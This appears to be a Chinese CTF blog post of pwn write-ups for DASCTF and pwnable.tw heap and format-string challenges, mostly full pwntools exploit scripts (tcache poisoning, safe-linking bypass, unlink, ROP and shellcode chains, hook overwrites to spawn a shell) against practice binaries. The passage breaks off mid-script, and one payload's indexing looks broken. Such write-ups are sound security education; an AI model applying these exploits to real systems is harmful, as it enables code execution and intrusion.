eqqie 发布的文章

before

周末打了一下DASCTF,基本都是菜单题的堆利用,除了有一题打safe-linking比较新,其它都比较常规。

特别吐槽一下服务器...老是断

fruitpie

拿一个大堆块可以得到一个新段,其地址和glibc映射到内存中的起始地址是个固定偏移,onegadget一把梭

from pwn import *

#p = process("./fruitpie", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com", 50102)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

# big chunk offset: 0x100000ff0

def exp():
    #gdb.attach(p, "b *$rebase(0xceb)\nc\n")
    p.recvuntil(b"Enter the size to malloc:\n")
    p.sendline(b"-1")
    mem_ptr = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_base = mem_ptr + 0x100000ff0
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    realloc_hook = malloc_hook - 0x8
    realloc = libc_base + libc.symbols[b"realloc"]
    one_gadget = libc_base + 0x4f3c2
    print("mem_ptr:", hex(mem_ptr))
    print("malloc_hook:", hex(malloc_hook))
    p.recvuntil(b"Offset:\n")
    p.sendline(hex(realloc_hook-mem_ptr))
    p.recvuntil(b"Data:\n")
    p.send(p64(one_gadget) + p64(realloc+6))

    #gdb.attach(p)

    p.interactive()

if __name__ == "__main__":
    exp()

ParentSimulator

嫌麻烦就不用setcontext了,直接泄露environ在栈上构造orw ropchain

from pwn import *
import time
import os

#p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("pwn.machine.dasctf.com", 51503)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new_child(idx:int, sex:int, name):
    menu(1)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"2.Girl:\n")
    p.sendline(str(sex).encode())
    p.recvuntil(b"Please input your child's name:\n")
    p.send(name)

def change_name(idx:int, name):
    menu(2)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())    
    p.recvuntil(b"Please input your child's new name:\n")
    p.send(name)

def show_name(idx:int):
    menu(3)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())   

def remove(idx:int):
    menu(4)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())   

def edit(idx:int ,desc):
    menu(5)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode()) 
    p.recvuntil(b"Please input your child's description:\n")
    p.send(desc)

def secret(idx:int, sex:int):
    menu(666)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode()) 
    p.recvuntil(b"2.Girl:\n")
    p.sendline(str(sex).encode())

def exp():
    # leak libc
    ## fill tcache
    #gdb.attach(p, "b *$rebase(0x1cbd)\nc\n")
    for i in range(7):
        new_child(i, 1, b"tcache")
    new_child(7, 1, b"AAAA")
    new_child(8, 1, b"BBBB")
    for i in range(7):
        remove(i)
    ## overlapp chunk
    remove(7)
    for i in range(7):
        new_child(i, 1, b"reget")
    new_child(9, 1, b"CCCC")
    for i in range(7):
        remove(i)
    remove(7)
    ## leak
    show_name(9)
    p.recvuntil(b"Name: ")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    free_hook = libc_base + libc.symbols["__free_hook"]
    malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    environ = libc_base + libc.symbols["__environ"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("malloc_hook:", hex(malloc_hook))

    # leak heap
    for i in range(7):
        new_child(i, 1, b"reget") # clean tcache bin
    new_child(0, 1, b"DDDD")
    remove(0)
    new_child(1, 1, b"DDDD")
    remove(0)
    show_name(1)
    p.recvuntil(b"Gender: ")
    heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x10
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    new_child(0, 1, b"clean") # clean tcache bin

    # tcache attack
    new_child(0, 1, b"EEEE")
    remove(8) # add tcache count
    remove(0)
    new_child(1, 1, b"EEEE")
    remove(0)
    secret(0, 2)
    change_name(1, p64(heap_base+0x10)[0:7])

    new_child(2, 1, b"XXXX") 
    new_child(2, 1, b"FFFF") #get heap_struct
    heap_struct = p64(0) + p64(0x70000000000000)
    heap_struct = heap_struct.ljust(0xe0, b"\x00")
    heap_struct += p64(0) + p64(environ-0x10)[0:7]
    edit(2, heap_struct)
    # fastbin attach

    # leak_environ
    new_child(0, 1, b"XXXX")
    show_name(0)
    p.recvuntil(b"Description:")
    stack_leak = u64(p.recv(6).ljust(8, b"\x00"))
    main_ret = stack_leak - 0x100
    print("stack_leak:", hex(stack_leak))
    print("main_ret:", hex(main_ret))

    # attack ret addr
    heap_struct = p64(0) + p64(0x70000000000000)
    heap_struct = heap_struct.ljust(0xe0, b"\x00")
    heap_struct += p64(0) + p64(main_ret-0x10)[0:7]
    edit(2, heap_struct)

    # build rop
    new_child(0, 1, b"XXXX")
    pop_rdi_ret = libc_base + 0x26b72
    pop_rsi_ret = libc_base + 0x27529
    pop_rdx_r12_ret = libc_base + 0x11c1e1

    rop = p64(pop_rdi_ret) + p64(0)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x10) + p64(0)
    rop += p64(libc_base+libc.symbols["read"])
    rop += p64(pop_rdi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(libc_base+libc.symbols["open"])
    rop += p64(pop_rdi_ret) + p64(4)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
    rop += p64(libc_base+libc.symbols["read"])
    rop += p64(pop_rdi_ret) + p64(1)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
    rop += p64(libc_base+libc.symbols["write"])
    print("len(rop):", hex(len(rop)))
    edit(0, rop)

    # exit and rop
    menu(6)
    time.sleep(1)
    p.send(b"/flag\x00")

    p.interactive()

if __name__ == "__main__":
    exp()

clown

这题比较有意思,用了safe-linking机制,不过网上已经有很多文章介绍了,不再赘叙。主要是泄露tcache bin上一个正常fd为0的(尾部)chunk的fd指针,就可以得到pos>>12,结合其它堆块fd的值算出heap base。由于地址可能存在0截断,所以exp里面分成两部分leak后合并。最后老套路setcontext执行mprotect然后跳到shellcode。

from pwn import *

p = process(["./ld-2.32.so", "./clown"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./clown")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

# orw shellcode
shellcode = asm('''
sub rsp, 0x800;
push 0x67616c66;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall;

mov edi, eax;
mov rsi, rsp;
mov edx, 0x100;
xor eax, eax;
syscall;

mov edx, eax;
mov rsi, rsp;
mov edi, 1;
mov eax, edi;
syscall;
''')

def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new(size:int, content):
    menu(1)
    p.recvuntil(b"Size: \n")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content: \n")
    p.send(content)

def delete(idx):
    menu(2)
    p.recvuntil(b"Index: \n")
    p.sendline(str(idx).encode())

def show(idx):
    menu(3)
    p.recvuntil(b"Index: \n")
    p.sendline(str(idx).encode())    

def exp():
    # leak heap
    new(0x10, b"AAAA") #0
    new(0x10, b"AAAA") #1
    delete(1)
    delete(0)
    show(1)
    tmp = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    show(0)
    low_b = p.recvuntil(b"\n", drop=True)
    new(0x10, b"AAA") #2
    show(2)
    p.recvuntil(b"AAA")
    high_b = p.recvuntil(b"\n", drop=True)
    ptr = u64((low_b + b"\x00" + high_b).ljust(8, b"\x00"))
    heap_leak = ptr^tmp
    heap_base = heap_leak - 0x2c0
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # leak libc
    for i in range(7):
        new(0x100, b"tcache") #3-9
    new(0x100, b"unsorted") #10 *
    new(0x20, b"split") #11
    for i in range(7):
        delete(i+3)
    delete(10)
    show(10)
    new(0x20, b"A") #12*
    show(12)
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-u8(b"A")
    libc_base = libc_leak - 352 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    setcontext = libc_base + libc.symbols[b"setcontext"]
    mprotect = libc_base + libc.symbols[b"mprotect"]
    before_setcontext_gadget = libc_base + 0x124990
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # attack __free_hook
    # ropper --file ./libc-2.31.so --search "mov rdx" | grep rdi
    # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    new(0xd0, b"BBBB") #13 clean unsorted bin
    for i in range(7):
        new(0x80, b"tcache") #14-20
    new(0x80, b"unsorted2") #21
    new(0x80, b"unsorted3") #22
    new(0x20, b"split") #23
    for i in range(7):
        delete(i+14)
    delete(21)
    delete(22) #overlapping
    new(0x80, b"CCCC") #24
    new(0xb0, b"PART1") #25 *overlapping
    new(0x50, p64(0)) #26

    delete(22)
    delete(25)
    new(0xb0, b"A"*0x80+p64(0)+p64(0x90)+p64(((heap_base+0x1010)>>12)^free_hook)) #27 build fake chain

    new(0x80, b"tmp") #28
    new(0x80, p64(before_setcontext_gadget)) #29 rewrite free hook
    print("free_hook:", hex(free_hook))

    # gadget->setcontext->orw
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x2000
    frame.rdx = 7
    frame.rsp = heap_base+0x10d0
    _ = list(frame.values())
    _[4] = setcontext+53 # qword [rdx+0x20]
    _[1] = heap_base+0x11d0 # qword [rdi+8]
    #print(len(flat(_)))
    new(0xf8, p64(heap_base+0x10d0+8)+shellcode) #30 shellcode +0x10d0
    new(0xf8, flat(_)) #31 fake frame +0x11d0

    gdb.attach(p, "b *0x7ffff7d2b990\nc\n")
    #gdb.attach(p)

    delete(31)
    p.interactive()

if __name__ == "__main__":
    exp()

babybabybabyheap

常规unlink

from pwn import *

p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"

def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def add(idx:int, size:int, content=b"", exit:bool=False):
    menu(1)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")
    p.sendafter(b"size?\n", str(size).encode()+b"\n")
    if not exit:
        p.sendafter(b"content?\n", content)

def show(idx:int):
    menu(2)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")

def delete(idx:int):
    menu(3)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")

def exit(yon:str='y'):
    menu(4)
    p.sendafter(b"Sure to exit?(y/n)\n", yon)

def secret(idx:int, content):
    exit('n')
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")
    p.sendafter(b"content?\n", content)

def exp():
    p.recvuntil(b"gift: ")
    puts = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_base = puts - libc.symbols[b"puts"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("puts:", hex(puts))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("free_hook:", hex(free_hook))

    for i in range(7):
        add(i, 0x1f0, b"tcache")
    add(7, 0x108, p64(0) + p64(0x191) + p64(0x404178-0x18) + p64(0x404178-0x10))
    add(8, 0x88, b"AAAAA")
    add(9, 0x1f0, b"AAAAA")
    add(10, 0x108, b"split")
    for i in range(7):
        delete(i)
    add(0, 0x80, b"AAAA")# add tcache count
    delete(0)

    secret(8, b"A"*0x80 + p64(0x190))

    delete(9)

    # overlapping

    delete(8)

    add(11, 0x180, b"B"*0xf0 + p64(0) + p64(0x91) + p64(free_hook))

    # get free hook
    add(12, 0x80, b"AAAA")
    add(13, 0x80, p64(system))
    print("free_hook:", hex(free_hook))

    add(14, 0x90, b"/bin/sh\x00")
    delete(14)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

分析

题目主要逻辑非常短:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-90h]
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init_proc();                                  // set no buf
  memset(&s, 0, 0x80uLL);                       // 0x80栈上缓冲区
  printf("Input :", 0LL);
  close(1);                                     // 关闭输出流
                                                // 需要想办法打开或绕过
  read(0, &s, 0x80uLL);
  printf(&s, &s);                               // 裸的格式化串
  exit(0);                                      // 直接exit0,考虑利用fini_array
}

在read之前调用了close(1)来关闭stdout流,然后有一个裸的格式化字符串漏洞。由于stderr没有关闭,可以通过半个字节的爆破将bss段上stdout指针指向和stderr同一个文件结构体,此时再调用printf函数时,就可以将内容从stderr流输出来。

在调试过程中发现fini_array内存不可写,不能通过直接写指针来让执行流形成loop。这里是本题最关键的难点。通过查阅资料后发现,在最后exit(0)的执行过程中会出现如下图的一处指令,来调用fini_array[0]处保存的指针:

其中r12&fini_array[0]的值,而rdx固定为0,于是往前找可以找到如下控制r12的指令:

r12初始值为&fini_array[0],然后加上[rbx]的值。而rbx中保存的地址,正是第一次调用printf前,栈上第42个参数的值。于是想到,在格式化字符串利用时写&fini_array[0]与一个可写可控地址(如.bss_start)之间的偏移量到该指针指向的内存。只要提前将要返回的起始地址写到.bss_start上,那么最后在exit时就可以构造出call *.bss_start这样的跳转。

修改完stdout并返回read片段后的主要任务就是泄露glibc和栈地址。但是由于栈发生了变动,泄露完后不能直接再次返回。很碰巧的是在第二次printf前,栈上第23个变量正好是储存第二次调用printf时保存函数返回地址的栈地址的指针。于是省去了部分写的麻烦,直接写该地址,这样当printf执行完后就会直接回到read片段,且栈不会发生大的变化。(这是第二个容易卡住的点

最后一步很明显是借助上面的方法去getshell,但是不知道为何,直接写printf返回地址为one_gadget地址时无法成功getshell。于是我想在写返回地址的基础上在payload后面布置一段执行system("/bin/sh");的rop链。然后把返回地址写为add rsp, 0x80; ret;这样的gadget,从而在printf返回时跳过payload,执行提前布置的rop链来getshell。

需要注意的是,最后一次写返回地址需要写长达6个字节,于是我拆分成了3次,每次写2字节。为了保证从小到大地写入三个地址片段(格式化字符串基本概念),我在分出每个片段后做了一次排序。

虽然说修改了stdout指针,但是getshell之后直接cat文件会提示文件描述符错误,需要在指令中重定向一下:cat /home/printable/printable_fl4g 1>&2;。符号>左边为文件描述符,右边如果直接使用2会被认为是重定向到一个名为2的文件,所以需要用&修饰,表示这是一个文件描述符。

思路

  1. 改写stdout,改写fini_array偏移到bss_start位置;

  2. 泄露栈地址,glibc地址,修改printf返回地址;

  3. 修改printf返回地址为add rsp, 0x80; ret;gadget,在格式化串payload后面布置好system("/bin/sh"); rop链.

EXP

#/usr/bin/python3
from pwn import *
import time

local_dbg = 1
libc = ELF("./libc_64.so.6")
elf = ELF("./printable")
context.log_level = "debug"

# const
ret_addr = 0x400925 #ret->read->printf->...
bss_addr = 0x601000
fini_array_0 = 0x600DB8 #fini_array[0]
fini_array_1 = 0x600DB8+8 #fini_array[1]
bss_stdout = 0x601020 # low bytes: 0x2620->0x2540
libc_csu_fini = elf.symbols[b"__libc_csu_fini"]
fini_array_to_bss_offset = bss_addr - fini_array_0
one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
print("[*] libc_csu_fini:", hex(libc_csu_fini))
print("[*] fini_array_to_bss_offset:", hex(fini_array_to_bss_offset))

def exp():
    #gdb.attach(p, "b *0x40094d\nc\n")

    # build ret &
    # make stdout->stderr struct &
    # build fake fini_array in bss_start &
    payload1 = "%{}c%{}$hhn".format(0x25, 16) #stdout_addr[1]
    payload1 += "%{}c%{}$hhn".format(0x40-0x25, 17) #stdout_addr[0]
    payload1 += "%{}$hnn".format(18) #bss_start[2]
    payload1 += "%{}c%{}$hn".format(fini_array_to_bss_offset-0x40-1, 0x2a) #stack ptr
    payload1 += "%{}c%{}$hn".format(0x925-fini_array_to_bss_offset, 19) #bss_start[0:2]
    payload1 =  payload1.encode().ljust(0x50, b"\x00")
    payload1 += p64(bss_stdout+1) #16
    payload1 += p64(bss_stdout) #17
    payload1 += p64(bss_addr+2) #18
    payload1 += p64(bss_addr) #19
    p.sendafter("Input :", payload1+b"\n\x00")
    time.sleep(0.5)

    # leak libc & stack
    payload2 = "%{}c%{}$hhn".format(0x25, 0x17) # modify printf's ret addr
    payload2 += "||%{}$p||%{}$p||".format(0x39, 0x3c)
    payload2 = payload2.encode()
    p.send(payload2+b"\x00")

    p.recvuntil(b"||")
    stack_leak = int(p.recvuntil(b"||", drop=True), 16)
    libc_leak = int(p.recvuntil(b"||", drop=True), 16)
    libc_base = libc_leak - 240 - libc.symbols[b"__libc_start_main"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    system = libc_base + libc.symbols[b"system"]
    print("[*] stack_leak:", hex(stack_leak))
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    print("[*] system:", hex(system))
    print("[*] binsh:", hex(binsh))

    # ret to system("/bin/sh")
    ## some gadgets
    add_rsp_0x80_ret = libc_base + 0x6b4b8
    stack_printf_ret = stack_leak - 0x290
    pop_rdi_ret = 0x4009c3
    print("[*] add_rsp_0x80_ret:", hex(add_rsp_0x80_ret))
    print("[*] stack_printf_ret:", hex(stack_printf_ret))

    gadget = add_rsp_0x80_ret
    gadget_addr_parts = {
        0 : gadget&0xffff, 
        1 : (gadget&(0xffff<<16))>>16, 
        2 : (gadget&(0xffff<<32))>>32
    }
    gadget_addr_parts = sorted(gadget_addr_parts.items(), key=lambda x:x[1])
    print("[*] sorted one_gadget addr parts:")
    for item in gadget_addr_parts:
        print(item[0], ":", hex(item[1]))

    ## gadget part
    payload3 = "%{}c%{}$hn".format(
    gadget_addr_parts[0][3], 
    0x13)
    ## gadget part
    payload3 += "%{}c%{}$hn".format(
    gadget_addr_parts[1][4] - gadget_addr_parts[0][5], 
    0x14)
    ## gadget part
    payload3 += "%{}c%{}$hn".format(
    gadget_addr_parts[2][6] - gadget_addr_parts[1][7], 
    0x15)
    payload3 = payload3.encode().ljust(0x30, b"\x00")
    ## addrs
    for item in gadget_addr_parts:
        payload3 += p64(stack_printf_ret+0x2*item[0]) #0x13-0x15
    ## rop
    rop_chain = p64(0x4009c3) + p64(binsh) + p64(system)
    p.send(payload3 + rop_chain + b"\n\x00")


    # get shell
    #cmd = "cat /home/printable/printable_fl4g 1>&2;"
    p.interactive()
    action = input("What's next: ")
    return False if action == "exit" else True

if __name__ == "__main__":
    global p
    while True:
        #p = process("./printable", env = {"LD_PRELOAD":"./libc_64.so.6"})
        p = remote("chall.pwnable.tw", 10307)
        try:
            ret = exp()
            if ret == False:
                p.close()
                break
            else:
                p.close()
                continue
        except:
            print("ERROR!")
            p.close()

分析

这题主要是三个结构体的利用:

  1. normal heap
  2. clock heap
  3. system heap

normal heap可以在bss上输入content,当play时调用重写功能后,结构体最末尾8个字节会被填满,此时如果content填满0x28个字符后可以泄露出下一个结构体的name指针也就是堆地址,同时show功能存在格式化字符串漏洞,虽然是调用的__printf_chk,但是由于栈上有一个可控的buf,可以很容易做到任意地址泄露。

创建clock heap调用了localtime,当环境变量中存在TZTZDIR时,这个函数会把两者拼接成一个完整地址,将地址指向的文件读入堆内存做一系列处理,最后返回一个指向libc中结构体的指针,供用户读取具体时间参数。虽然读入文件内容的内存会被释放而合并到top chunk中,但是没有被覆盖掉。

此时发现system heap正好可以设置环境变量,于是大功告成,思路有了。

思路

  1. 泄露堆地址;

  2. 设置TZ环境变量,为flag文件地址;

  3. 创建clock heap

  4. 格式化字符串泄露flag

EXP

from pwn import *

#p = process("./critical_heap")
p = remote("chall.pwnable.tw", 10500)
elf = ELF("./critical_heap")
libc = ELF("./libc.so.6")
context.log_level = "debug"

flag_path = b"/home/critical_heap++/flag"
#flag_path = b"/flag"

def create_normal(name, content):
    '''create_normal(name, content)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Content of heap :", content)

def create_clock(name):
    '''create_clock(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"2\n")

def create_system(name):
    '''create_system(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"3\n")

def show_heap(idx:int):
    '''show_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")

def rename_heap(idx:int, name):
    '''rename_heap(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"3\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Name of heap:", name)

def show_normal_content(idx:int):
    '''show_normal_content(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def change_normal_content(idx:int, content):
    '''change_normal_content(idx:int, content)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Content :", content)
    p.sendafter(b"Your choice : ", b"3\n") #return

def leak_ptr_content(normal_idx:int, ptr, ret:int):
    '''use normal heap's fmt bug'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(normal_idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    payload = (b"%p"*12+b"||%s").ljust(0x20, b"a") + p64(ptr)
    print("len(payload):", hex(len(payload)))
    p.sendafter(b"Content :", payload)
    p.sendafter(b"Your choice : ", b"1\n") #show
    if ret==1:
        p.sendafter(b"Your choice : ", b"3\n") #return

def show_clock(idx:int):
    '''show_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def update_clock(idx:int):
    '''update_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def set_system_env(idx:int, name, value):
    '''set_system_env(idx:int, name, value)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Give me a name for the system heap :", name)
    p.sendafter(b"Give me a value for this name :", value)
    p.sendafter(b"Your choice : ", b"5\n") #return

def del_system_env(idx:int, name):
    '''del_system_env(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"What's name do you want to unset :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return

def get_realpath(idx:int):
    '''get_realpath(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"3\n")

def get_value_of_name(idx:int, name):
    '''get_value_of_name(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"What's name do you want to see :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return 

def delete_heap(idx:int):
    '''delete_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"5\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")   

def exp():
    # leak heap
    create_normal(b"AAAA", b"a"*0x28) #0
    create_system(b"BBBB") #1
    change_normal_content(idx=0, content=b"a"*0x28)
    show_heap(idx=0)
    p.recvuntil(b"\x1b!\x1b!")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x30
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # modify TZ

    set_system_env(idx=1, name=b"TZ", value=flag_path)
    create_clock(b"DDDD") #2

    heap_flag_ptr = heap_base + 0x440

    # fnt str leak flag
    #gdb.attach(p, "b *0x40194b\nc\n")
    create_normal(b"CCCC", b"a"*0x28) #3
    leak_ptr_content(normal_idx=3, ptr=heap_flag_ptr, ret=0)
    p.recvuntil(b"||")
    flag = p.recvuntil(b"}").decode()
    print(flag)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

分析

这题乍一看感觉到处都是洞...而且非常纷乱,难以理清思路。但是这题最关键的洞在于实现部分GHOST子类的时候缺少拷贝构造函数。于是应该重点检查成员变量在vector::push_back()触发浅拷贝时的安全性。如吸血鬼Vampire类中char *blood在浅拷贝析构时会发生delete[] blood;。也就是说当一个Vampire实例放入vector中时,它的blood指针就指向了一块释放过的区域,这是本题最关键的利用点。

思路

  1. 知道Vampire存在UAF后应该想如何利用。这里发现如果UAF的堆块大于fast chunk得话,其被释放后立刻会合并到top chunk无法利用,不能直接泄露libc地址;

  2. 于是绕道。我们发现部分类在内存中分配的大小是相等的,如werewolfVampire都是0x70,在fast chunk范围内。也就是说,我们可以创建一个werewolf重新申请回被释放掉的堆块。由于类结构体重要性非常高...于是通过该方法控制类结构体是很可行的;

  3. 完成2中的重申请后,此时应该可以泄露出werewolfvtable从而计算二进制文件的基址;

  4. 此时,释放掉最开始的Vampire。这个释放对于Vampire来说是deep free而对于werewolf来说是shadow free。下面需要用到一个大小同样是0x70且各方面比较“正常”不容易破坏堆结构的类——Mummy。通过调试分析发现,如果在创建Mummy实例时msg大小为0x5f就会覆盖werewolf的类结构。按照这里我们可以伪造werewolf的类结构——保持vtable不变(重要)的情况下修改name指针为保存了堆地址的位置。下次列出所有name的时候就完成了地址泄露;

  5. 按照4中的思路,泄露出__libc_start_main的got表值,计算出libc基址,以及one_gadget地址;

  6. 最后一步,伪造一个vtable。由调试发现vtable+0x10的位置是self.showinfo的函数指针。伪造该指针为one_gadget后替换werewolf的虚表,然后调用该指针完成getshell

其它

  1. 有一个类里面似乎读了flag相关的东西,但是解题没用上,可能这题是多解。或者说原先是个AD题。

EXP:

from pwn import *
import time

#p = process("./ghostparty")
p = remote("chall.pwnable.tw", 10401)
elf = ELF("./ghostparty")
#libc = ELF("./libc_64.so.6")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

'''
-----------------
 1.Werewolf      
 2.Devil         
 3.Zombie        
 4.Skull         
 5.Mummy         
 6.Dullahan      
 7.Vampire       
 8.Yuki-onna     
 9.Kasa-obake    
 10.Alan         
-----------------
'''

# const
TYPE_WEREWOLF = 0x1
TYPE_DEVIL = 0x2
TYPE_ZOMBIE = 0x3
TYPE_SKULL = 0x4
TYPE_MUMMY = 0x5
TYPE_DULLAHAN = 0x6
TYPE_VAMPIRE = 0x7
TYPE_YUKI = 0x8
TYPE_KASA = 0x9
TYPE_ALAN = 0xa

ACTION_JOIN = 0x1
ACTION_GIVEUP = 0x2
ACTION_JOINANDSHOW = 0x3

vector_ghostlist_offset = 0x211030
libc_start_main_got_offset = 0x210E90

one_list_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_list_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]

def _add_ghost(name, age:int, msg, ghost_type:int):
    p.sendafter(b"Your choice :", b"1\n")
    p.sendafter(b"Name : ", name+b"\n")
    p.sendafter(b"Age : ", str(age).encode()+b"\n")
    p.sendafter(b"Message : ", msg+b"\n")
    p.recvuntil(b"Choose a type of ghost :")
    p.sendline(str(ghost_type).encode())

def _do_action(action):
    p.sendafter(b"Your choice : ", str(action).encode()+b"\n")

def get_name_list():
    p.sendafter(b"Your choice :", b"2\n")

'''
1.Join       
2.Give up
3.Join and hear what the ghost say
'''

def add_werewolf(name, age:int, msg, full_moon:int, action:int):
    '''name, age:int, msg, full_moon:int, action:int'''
    _add_ghost(name, age, msg, TYPE_WEREWOLF)
    p.sendafter(b"Full moon ? (1:yes/0:no):", str(full_moon).encode()+b"\n")
    _do_action(action)

def add_devil(name, age:int, msg, power, action:int):
    '''name, age:int, msg, power, action:int'''
    _add_ghost(name, age, msg, TYPE_DEVIL)
    p.sendafter(b"Add power : ", power+b"\n")
    _do_action(action)

def add_zombie(name, age:int, msg, action:int):
    '''name, age:int, msg, action:int'''
    _add_ghost(name, age, msg, TYPE_ZOMBIE)
    _do_action(action)

def add_skull(name, age:int, msg, bones:int, action:int):
    '''name, age:int, msg, bones:int, action:int'''
    _add_ghost(name, age, msg, TYPE_SKULL)
    p.sendafter(b"How many bones ? : ", str(bones).encode()+b"\n")
    _do_action(action)

def add_mummy(name, age:int, msg, commit, action:int):
    '''name, age:int, msg, commit, action:int'''
